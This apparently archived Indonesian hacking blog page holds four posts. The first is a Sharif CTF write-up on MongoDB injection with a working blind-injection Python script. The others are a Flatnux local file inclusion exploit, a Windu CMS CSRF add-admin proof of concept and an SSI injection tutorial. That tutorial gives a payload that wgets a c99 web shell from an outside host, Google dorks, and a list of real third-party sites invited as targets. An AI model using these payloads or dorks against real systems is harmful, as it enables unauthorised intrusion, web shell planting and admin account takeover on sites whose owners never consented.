Mongo Db Injection | Sharif CTF | Indonesian Backtrack Gathering

06:27 |
ctf.sharif.edu kompetisi ctf internasional yang gk sengaja ane temuin di google dan menemukan challange mongodb injection + writeupnya yang sangat menarik dalam soal itu seperti ini instruksinya


Quote:login and find the flag
http://ctf.sharif.edu:25489


tampilan websitenya seperti ini  :



ada form login dengan field username+password+captcha

pertama yang saya lakukan coba untuk view page source untuk mencari clue" , dan tidak ada   . kemudian coba untuk login menggunakan bypass sqli menggunakan ' OR ' = 1=1 ,dsb

favicon di website tersebut coba kita scan menggunakan exiftool


Quote:# exiftool favicon.png
...

File Name         : favicon.png
Directory         : .
File Size         : 2.6 kB
File Modification : 2014:09:23 12:59:18+02:00
File Permissions  : rw-r--r--
File Type         : PNG
MIME Type         : image/png

...

Thumb URI : file:///Users/alz/Developer/git/pictonic/assets/svgs/3e91140ac1bfb9903b91c1b0ca092167.svg

...



Menarik file png yang jadi favicon itu ternyata hasil conver dari file .svg , coba kita search file svg nya di google


dan :D kita mengetahui sekarang bahwa backend untuk database mereka bukan pakai MySQL/PgSQL tapi pakai MongoDB

karena kita sudah tau menggunakan MongoDB coba cari cara untuk menyerang MongoDB seperti ini

Mongo injection

Di website itu kita belajar bagaimana MongoDB + Php bekerja


Quote:$collection->find(array(
"username" = $_GET['username'],
"passwd" = $_GET['passwd']
));



Script di atas sama dengan


Quote:mysql_query("SELECT * FROM collection
WHERE username=" . $_GET['username'] . ",
 AND passwd=" . $_GET['passwd'])


biasanya untuk bypass login form kita buat query selalu mengembalikan nilai true walaupun yang kita masukan username dan password salah seperti


Quote:$collection->find(array
 "username" => "admin",
"passwd" => array("$ne" = 1)
));

$ne adalah operator mongodb yang maksudnya != ( tidak sama dengan )
Sama Dengan


Code:
SELECT * FROM collection
WHERE username="admin",
AND passwd!=1


Dari 2 script di atas kita ketahui bahwa jika passwd != 1 maka nilai yang di kembalikan query (true) atau benar
karena password yang di input tidak benar . maka akan masuk ke dashboard admin
gunakan tamper data untuk mengirimkan post data

Quote:
Code:
username=admin&password[$ne]=1&captcha=AXBYCZ

sesuaikan captcha dengan yang benar
selain dengan tamper data , juga bisa menggunakan inspect element atau firebug untuk bypass login
setelah login akan muncul dashboard seperti ini



 
di panel admin ini di sediakan beberapa source code dari file seperti : login.php , init.php , api.php , panel.php
coba kita lihat ke login.php
Quote:
Code:
<?php
/**
* User: some one
* Date: 8/25/14
* Time: 11:03 AM
*/
session_start();
$m = new MongoClient();
$db = $m->ctf5;
$users_col = $db->users;
$username = $_POST['username'];
$password = $_POST['password'];
$q = array(
   'username' => $username,
   'password' => $password
);

include 'Captcha.php';
$v = Captcha::validate($_POST['captcha']);
if ($v) {
   $_SESSION['time'] = intval(time() / 60);
   $_SESSION['count'] = 25;
}else{
   die('invalid captcha');
}

$user = $users_col->findOne($q);
if(is_null($user)){
   #header("Location: login-failed.html");
   die('invalid username or password');
}else{
   $_SESSION['id'] = $user['_id']->{'$id'};
   header("Location: panel.php");
   die();
}

kalau di script login.php kita bisa liat array nya dipisah


Quote:
Code:
$q = array(
'username' => $username,
'password' => $password
);
$user = $users_col->findOne($q);

sama dengan

Quote:
Code:
$collection->find(array(
   "username" => $_GET['username'],
   "passwd" => $_GET['passwd']
));

lanjut kita liat script init.php


Quote:
Code:
<?php
/**
* User: some one
* Date: 8/25/14
* Time: 11:00 AM
*/

function generateRandomString($length = 10)
{
   $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
   $randomString = '';
   for ($i = 0; $i < $length; $i++) {
       $randomString .= $characters[rand(0, strlen($characters) - 1)];
   }
   return $randomString;
}

$m = new MongoClient();
$db = $m->ctf5;
$users_col = $db->users;
$flag_col = $db->flag;
$user = $users_col->findOne(array('username' => 'admin'));
$flag = $flag_col->findOne();

// old codes
//$staffs = array('gholi','bobak','bijan','arash');
//
//foreach($staffs as $staff){
//    $users_col->insert(array(
//        'username' => $staff,
//        'role'=>'staff',
//        'password' => generateRandomString(20),
//    ));
//}

//$visitors = array('noone','bob','john','alice');
//
//foreach($visitors as $visitor){
//    $users_col->insert(array(
//        'username' => $visitor,
//        'role'=>'visitor',
//        'password' => generateRandomString(10),
//    ));
//}

if (is_null($user)) {
   $users_col->insert(array(
       'username' => 'admin',
       'role'=>'admin',
       'password' => generateRandomString(30),
   ));
}
if (is_null($flag)) {
   $flag_col->insert(array(
       'flag' => generateRandomString(30),
   ));
}
?>

penjelasannya di situ ada function random string untuk generate password,id,flag dan ada query insert flag sama insert admin dan init.php ini sepertinya yang akan diload pada setiap file karena koneksi mongodb di buka di script ini
trus coba kita liat script selanjutnya api.php


Quote:
Code:
<?php
/**
* User: some one
* Date: 8/25/14
* Time: 11:25 AM
*/
session_start();
if (is_null($_SESSION['id'])) {
   header("Location: index.html");
   die();
}
$ajax = false;
if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) AND strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest') {
   $ajax = true;
}
if (!$ajax) {
   die();
}
$T = 60;
$N = 20;
$t = intval(time() / $T);
if ($_SESSION['time'] < $t) {
   $_SESSION['time'] = intval(time() / $T);
   $_SESSION['count'] = $N;
} else {
   if ($_SESSION['count'] <= 0) {
       header('Content-Type: application/json');
       echo json_encode(array("You are so fast. Please slow down. And wait for one minute."));
       die();
   }
   $_SESSION['count'] = $_SESSION['count'] - 1;
}
$q = '';
if (isset($_GET['q'])) {
   $q = $_GET['q'];
}
if ($q == 'users') {
   $role = $_GET['role'];
   $m = new MongoClient();
   $db = $m->ctf5;
   $users_col = $db->users;
   $users = $users_col->find(array(
       '$where' => "this.role == '$role'"
   ));
   $names = array();
   foreach ($users as $user) {
       $names[] = $user['username'];
   }
   header('Content-Type: application/json');
   echo json_encode($names);
}
if ($q == 'flag') {
   $id = $_GET['id'];
   $m = new MongoClient();
   $db = $m->ctf5;
   $flag_col = $db->flag;
   $flag = $flag_col->findOne(array('_id' => new MongoId($id)));
   var_dump($flag);
}
?>

fle api.php hanya bisa di buka ketika kita sudah login sehingga $_Session[id] != 0 , dan untuk mengakses file ini kita harus mengganti header dengan XMLHttpRequest
Get parameter Q di gunakan untuk 2 value :
– Untuk mendapatkan user dengan role yang di spesifikasaikan di GET role
-Untuk mendapatkan flag dengan memasukan id dari role admin



Code:
api.php?q=flag&id=

Didalam File init.php admin user dan flag di insert pada waktu yang sama di mongodb kita dapat menganggap $id mereka berturut" jika kita bisa mendapatkan $id admin user maka kita akan mudah untuk mendapatkan $id flag

Kesimpulannya kita mencari : - $id dari admin user , - masukan $id untuk dapatkan flag

Quote:
Code:
<?php
if ($q == 'users') {
   $role = $_GET['role'];
   $m = new MongoClient();
   $db = $m->ctf5;
   $users_col = $db->users;
   $users = $users_col->find(array(
       '$where' => "this.role == '$role'"
   ));
   $names = array();
   foreach ($users as $user) {
       $names[] = $user['username'];
   }
   header('Content-Type: application/json');
   echo json_encode($names);
}
?>

 
kita akan melakukan blind mongodb injection untuk menebak dari $id dan memanfaatkan oracle response

Quote:api.php?q=user&role=admin’ && (this._id.str[x]==’Y’) && ‘1’==’1

x dan y adalah yang akan di rubah untuk bruteforce .. ketika response dari oracle == 9 maka digit itu benar kemudian lanjut ke digit selanjutnya
disini pakai python untuk mengimplementasikan attacknya



Quote:
Code:
#!/usr/bin/python

import urllib
import requests
import time

baseUrl = "http://ctf.sharif.edu:25489/api.php?q=users&role="
headers = {'X-Requested-With': 'XMLHttpRequest'}
cookies = dict(PHPSESSID='amuedn0ra3fhj0diatdb4kkkt1')
admin_id = ''

# Guessing admin id
for c in range(0, 24):
   print("[*] Guessing character "+str(c + 1))
   for x in range(0x10):
       letter = format(x,'x')
       query = "admin' && (this._id.str[" + str(c) + "]=='" + letter + "') && '1'=='1"
       url = baseUrl + urllib.quote_plus(query)
       response = requests.get(url, headers = headers, cookies=cookies)
       if len(response.text)==9:
           admin_id += format(x, 'x')
           print("    + Admin id guessed: " + admin_id)
           print("")
           break

       time.sleep(1)

# Getting the flag
print("[*] Go for the flag!")
flag_id = format(int(admin_id, 16) + 1, 'x')
url = "http://ctf.sharif.edu:25489/api.php?q=flag&id="+flag_id
response = requests.get(url, headers = headers, cookies=cookies)
print response.text

Code:
# ./sharif14_pwnit.py
[*] Guessing character 1
   + Admin id guessed: 5

[*] Guessing character 2
   + Admin id guessed: 53

[...]

[*] Guessing character 23
   + Admin id guessed: 53fadd3d7137a495319e10f

[*] Guessing character 24
   + Admin id guessed: 53fadd3d7137a495319e10f3


[*] Go for the flag!

array(2) {
 ["_id"]=>
 object(MongoId)#7 (1) {
   ["$id"]=>
   string(24) "53fadd3d7137a495319e10f4"
 }
 ["flag"]=>
 string(30) "9fmTOOdbm1A76o40Bb9N3wpqvozdJI"
}

Source : http://blog.dul.ac/2014/10/SHARIF_QUALS_14/
Read more…

Flatnux CMS Local File Inclusion

05:05 |

##########################################
[~] Exploit Title: Flatnux CMS Local File Inclusion
[~] Date: 21-03-2013 
[~] Author: DaOne aka Mocking Bird 
[~] Vendor Homepage: http://flatnux.altervista.org/ 
[~] Software Link: http://flatnux.altervista.org/download.html?f=Flatnux-Next/flatnux-2013-01.17.zip 
[~] Category: webapps/php 
[~] Version: 2013-01.17 
[~] Tested on: Apache/2.2.8(Win32) PHP/5.2.6 
##########################################
# Exploit 
index.php?theme={localfile}{nullbyte} http://localhost/flatnux/index.php?theme=../../../../../../../../../../windows/win.ini 
# References
http://www.exploit-id.com/web-applications/flatnux-cms-local-file-inclusion#sthash.HwM1yoOk.dpuf
Read more…

Windu CMS 2.2 CSRF Add Admin Exploit

05:00 |

Type: Local/Remote
Impact: Cross-Site Scripting
Risk: (3/5)
Release Date: 24.07.2013
Tested On
Microsoft Windows 7 Ultimate SP1 (EN)
Apache 2.4.2 (Win32)
PHP 5.4.7
MySQL 5.5.25a 
Release Date: 24.07.2013
Summary
Windu CMS is a simple, lightweight and fun-to-use website content management software.
Description
Windu CMS suffers from a cross-site request forgery vulnerabilities. The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.
<!--
Windu CMS 2.2 CSRF Add Admin Exploit
Vendor: Adam Czajkowski
Product web page: http://www.windu.org
Affected version: 2.2 rev 1430
Summary: Windu CMS is a simple, lightweight and fun-to-use
website content management software.
Desc: Windu CMS suffers from a cross-site request forgery
vulnerabilities. The application allows users to perform
certain actions via HTTP requests without performing any
validity checks to verify the requests. This can be exploited
to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.
User type:
value 17 - Admin Main (form_key = addUserSystem)
value 9 - Administrator (form_key = addUserSystem)
value 18 - Content (form_key = addUserSystem)
value 19 - Editor (form_key = addUserSystem)
value 14 - Page User (form_key = addUserPage)
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
Apache 2.4.2 (Win32)
PHP 5.4.7
MySQL 5.5.25a
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2013-5149
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5149.php
21.07.2013
-->
<html>
<head>
<title>Windu CMS 2.2 CSRF Add Admin Exploit</title>
</head>
<body><center><br />
<form method="POST" action="http://localhost/winducms/admin/users/?mn=admin.message.error">
<input type="hidden" name="type" value="9" />
<input type="hidden" name="email" value="evil@hacker.net" />
<input type="hidden" name="password" value="0bl1viON" />
<input type="hidden" name="passwordCompare" value="0bl1viON" />
<input type="hidden" name="username" value="hax0r" />
<input type="hidden" name="name" value="XSRF" />
<input type="hidden" name="surname" value="PoC" />
<input type="hidden" name="form_key" value="addUserSystem" />
<input type="submit" value="Forge!" />
</form>
</body>
</html>

References
[1] http://www.securityfocus.com/bid/61429
[2] http://cxsecurity.com/issue/WLB-2013070187
[3] http://packetstormsecurity.com/files/122539
[4] http://secunia.com/advisories/54237/
[5] http://www.securelist.com/en/advisories/54237
[6] http://www.osvdb.org/show/osvdb/95636
[7] http://www.exploit-db.com/exploits/27128/ 
Read more…

Exploitasi Bug Server Side Includes Injection

23:42 |
SSI Injection (Server-side Include) adalah tehnik exploit server side yang mengizinkan attacker untuk mengirim perintah yang nanti nya akan di eksekusi oleh web server 

SSI Injection memanfaatkan kegagalan aplikasi web untuk membersihkan data yang disediakan pengguna sebelum mereka dimasukkan ke dalam server-side ditafsirkan file HTML

Sever Side Includes Termasuk serangan memungkinkan eksploitasi aplikasi web dengan menginjeksi skrip dalam halaman HTML atau mengeksekusi kode arbitrary codes remotely.

Kalau di Php untuk memulai dan menutup kita gunakan <? dan ?>
kalau SSI <!-- --> 

Include PHP

Code:
<? include "file.html"; ?>
Include SSI
Code:
<!--  #include virtual="file.html"  -->

SSI untuk mengeskekusi perintah CLI

Code:
<!-- #exec cmd="ls -A" -->

CGI

Code:

<!-- #exec cgi="/cgi-bin/any_script.cgi" --> 



biasanya halaman yang menggunakan SSI itu berformat 
.shtml / .shtm / .stm

Sudah perkenalan dengan ssi mari kita melakukan exploitasi ..
Kita bisa gunakan

inurl:bin/Cklb/ - Best Dork
inurl:login.shtml
inurl:login.shtm
inurl:login.stm
inurl:search.shtml
inurl:search.shtm
inurl:search.stm
inurl:forgot.shtml
inurl:forgot.shtm
inurl:forgot.stm
inurl:register.shtml
inurl:register.shtm
inurl:register.stm
inurl:login.shtml?page=


http://i.imgur.com/Fw7qE.png



<!-- 
#echo var="HTTP_USER_AGENT" --> 
http://i.imgur.com/8oms4.png


<!-- 
#exec cmd="wget http://www.sh3ll.org/c99.txt? -O shell.php" --> 
http://i.imgur.com/VDc9n.png


sitetarget.com/shell.php big grin
http://i.imgur.com/4a7bR.png



anda bisa coba di sini ... walau sih di situ udah di fix .. tapi beberapa perintah masih bisa happy

http://www.cgibackgrounds.com/bin/Cklb
http://www.stockshop.com/bin/Cklb
http://www.fogstock.com/bin/Cklb
http://www.glasshouseimages.com/user/login.shtml
http://www.wppionlinecontest.com/user/login.shtml
http://www.cgibackgrounds.com/user/login.shtml
http://www.getstock.com/user/login.shtml
http://www.estostock.com/user/login.shtml
http://www.blendimages.com/user/login.shtml
http://www.pdnthelook.com/user/login.shtml
http://iloveimages.com/user/login.shtml
http://www.win-initiative.com/user/login.shtml (view source to see output)
http://thegatheringsphotocontest.com/user/login.shtml


Sumber :
https://www.owasp.org/index.php/Testing_...SP-DV-009)

penjelasannya agak berantakan ya happy soalnya dari bahasa ingriss ane translate manual :v .
Read more…

Followers

Total Tayangan Laman